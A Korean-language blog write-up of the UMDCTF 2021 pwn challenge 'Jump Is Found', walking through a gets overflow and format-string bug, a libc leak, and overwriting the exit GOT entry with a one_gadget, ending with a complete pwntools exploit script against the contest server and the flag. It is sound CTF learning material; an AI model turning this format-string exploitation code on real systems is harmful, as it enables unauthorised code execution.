Sechack

UMDCTF 2021 - Jump Is Found 풀이 본문

CTF

UMDCTF 2021 - Jump Is Found 풀이

Sechack 2021. 4. 17. 19:17
반응형

앞에 3문제는 그냥 기초적인 rop라서 딱히 적을게 없는데 이문제는 함수의 특성을 제대로 고려하지 못해서 많은시간 삽질한 문제라서 풀이 남깁니다...

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rdx
  int v5; // ST0C_4
  signed int v6; // [rsp-160h] [rbp-160h]
  __int64 v7; // [rsp-158h] [rbp-158h]
  __int64 v8; // [rsp-150h] [rbp-150h]
  const char *v9; // [rsp-148h] [rbp-148h]
  __int64 (__fastcall **v10)(__int64); // [rsp-140h] [rbp-140h]
  signed __int64 v11; // [rsp-138h] [rbp-138h]
  signed __int64 v12; // [rsp-130h] [rbp-130h]
  char v13; // [rsp-128h] [rbp-128h]
  __int64 v14; // [rsp-118h] [rbp-118h]
  unsigned __int64 v15; // [rsp-10h] [rbp-10h]

  __asm { endbr64 }
  v15 = __readfsqword(0x28u);
  v8 = sub_401190(250LL, argv, envp);
  v9 = (const char *)sub_401190(250LL, argv, v3);
  setup();
  v10 = (__int64 (__fastcall **)(__int64))sub_401190(24LL, argv, v4);
  *v10 = jumpToHoth;
  v10[1] = jumpToBlackHole;
  v10[2] = jumpToMars;
  sub_401150(v9, 0LL, 250LL);
  v11 = 6998705362863940951LL;
  v12 = 2407302035436544116LL;
  v13 = 0;
  v5 = sub_401120(&v11);
  sub_401170(v9, &v11, v5);
  while ( 1 )
  {
    sub_401150(v8, 0LL, 250LL);
    sub_401170(v9, "We didn't go anywhere.", 22LL);
    sub_401150(&v14, 0LL, 250LL);
    sub_401150(&v14, 0LL, 250LL);
    *v10 = jumpToHoth;
    v10[1] = jumpToBlackHole;
    v10[2] = jumpToMars;
    printf_0("SYSTEM CONSOLE> ");
    gets_0(v8);
    v6 = sub_401160();
    if ( v6 == 4 )
    {
      v9 = "Logging out\n";
      exit_0(0LL);
    }
    else if ( v6 <= 4 )
    {
      if ( v6 == 3 )
      {
        ((void (__fastcall *)(const char *, __int64 *))v10[2])(v9, &v7);
        goto LABEL_14;
      }
      if ( v6 <= 3 )
      {
        if ( v6 == 1 )
        {
          ((void (__fastcall *)(const char *, __int64 *))*v10)(v9, &v7);
          goto LABEL_14;
        }
        if ( v6 == 2 )
        {
          ((void (__fastcall *)(const char *, __int64 *))v10[1])(v9, &v7);
          goto LABEL_14;
        }
      }
    }
    puts_0("Check Systems");
    puts_0("1 - Hoth");
    puts_0("2 - Black Hole");
    puts_0("3 - Mars");
    puts_0("4 - Logout");
LABEL_14:
    strncpy_0(&v14, v9, 250LL);
    printf_0("Current location: ");
    printf_0(&v14);
    sub_4010F0();
  }
}

 

IDA로 main함수 까보면 이렇습니다. 원래 IDA에서 plt심볼이 안읽혔는데 제가 분석하면서 몇개의 함수에는 이름을 붙였습니다. puts_0같은... 쨌든 맨 밑에 줄을 보시면 FSB가 발생하는걸 볼 수 있습니다. 그리고 입력받는 부분을 보면 gets함수를 사용해서 BOF가 발생하는걸 볼 수 있습니다.

 

동적분석 결과 우리가 입력한 버퍼의 0x110byte이후에 있는곳을 printf로 가져갑니다. 따라서 dummy data를 0x110byte만큼 넣고 그 뒤로 FSB Payload를 넣으면 됩니다.

 

일단 leak은 b"a"*0x110넣은다음 2번째 %p를 했을때 _IO_stdfile_1_lock의 주소가 들어있었습니다. 서버 환경은 ubuntu 16.04, 18.04, 20.04중에 하나일거라는 직감적인 직감으로 3개의 vmware에서 전부 프로그램을 구동해봤습니다. 테스트 결과 18.04에서 릭되는 주소의 하위 1.5byte가 서버랑 같아서 18.04에서 진행했습니다.

 

Partial RelRO여서 got overwrite가 가능합니다. 일단 먼저 libc leak한 뒤에 무난하게 주소 쪼개서 exit got(4번 메뉴 호출하면 exit가 호출됩니다.)를 one gadget으로 덮으려 했습니다.

 

그런데 주소를 잘 쪼개고 틀린곳 없는 Payload를 짰는데도 2byte덮인다음 printf내부에서 터지는겁니다... 여기서 삽질 꽤나 했습니다. 삽질하다가 라면먹고 와서 어차피 while문 안에서 돌아가니까 걍 주소 쪼개서 한번에 하려고 하지 말고 그냥 while문 3번 돌아서 한번에 2byte씩 덮는걸로 익스방식을 바꿨습니다.

 

익스방식을 바꾸고 보니까... 바로되네... 플래그 얻고 인증하고나서도 왜 한번에 넣으면 안되고 여러번 나눠서 넣어야 되는지 알지 못했습니다. 플래그 인증한뒤에 팀원분도 이 문제를 풀고계셨는데 그분이 NULL때문에 안되는거라고 알려주셨습니다. 하아... strncpy함수는 NULL문자 만나면 복사 종료시켜서 exit got, exit got+2, exit got+4를 한번에 넣는게 불가능했던겁니다. 그래서 하나씩 해야했던거고... 하아... 이런 간단한거에 낚이다니... 갈길이 멀었나봅니다.

 

from pwn import *

#p = process("./JIF")
r = remote("chals5.umdctf.io", 7002)
e = ELF("./JIF")

exit = e.got["exit"]

leakpay = b"a"*0x110
leakpay += b"%2$p"

r.sendlineafter("CONSOLE> ", leakpay)

r.recvuntil("Current location: ")

leak = int(r.recv(14), 16)
libc_base = leak - 0x3ed8c0
one_gadget = libc_base + 0x10a41c

low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff

pay = b"a"*0x110
pay += ("%{}c".format(low)).encode()
pay += b"%18$hn"
pay += b"a"*(8 - ((len(pay) - 0x110) % 8))
pay += p64(exit)
r.sendlineafter("CONSOLE> ", pay)

pay2 = b"a"*0x110
pay2 += ("%{}c".format(middle)).encode()
pay2 += b"%18$hn"
pay2 += b"a"*(8 - ((len(pay2) - 0x110) % 8))
pay2 += p64(exit+2)
r.sendlineafter("CONSOLE> ", pay2)

pay3 = b"a"*0x110
pay3 += ("%{}c".format(high)).encode()
pay3 += b"%18$hn"
pay3 += b"a"*(8 - ((len(pay3) - 0x110) % 8))
pay3 += p64(exit+4)
r.sendlineafter("CONSOLE> ", pay3)

r.sendlineafter("CONSOLE> ", "4")

r.interactive()

 

전체 페이로드입니다.

 

 

쨌든 익스 성공... libc는 앞에서도 말했다시피 서버랑 로컬이랑 하위 1.5byte같게 릭되서 그냥 로컬 립씨 기준으로 진행했습니다.

 

UMDCTF-{1_f0UnD_th3_PLaN3t_N0w_t0_hyp325p4c3}

 

 

그리고 익스하고 나서 안 사실인데 이거 문제 서버 /bin디렉터리에 아래에서 보시다시피 sh, ls, cat 3개밖에 없습니다...

 

 

어쩐지 id쳤을때 not fount뜨더라... /bin디렉터리에 달랑 3개만 들어있는 모습이 신기했습니다.

 

(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)

반응형

'CTF' 카테고리의 다른 글

dCTF 2021 - Julius' ancient script 풀이  (0) 2021.05.17
dCTF 2021 - Formats last theorem 풀이  (0) 2021.05.16
ShaktiCTF 2021 - Signal dROPper 풀이  (0) 2021.04.04
ShaktiCTF 2021 - Returning-2 풀이  (0) 2021.04.04
ShaktiCTF 2021 - Cache_7 풀이  (0) 2021.04.04
Comments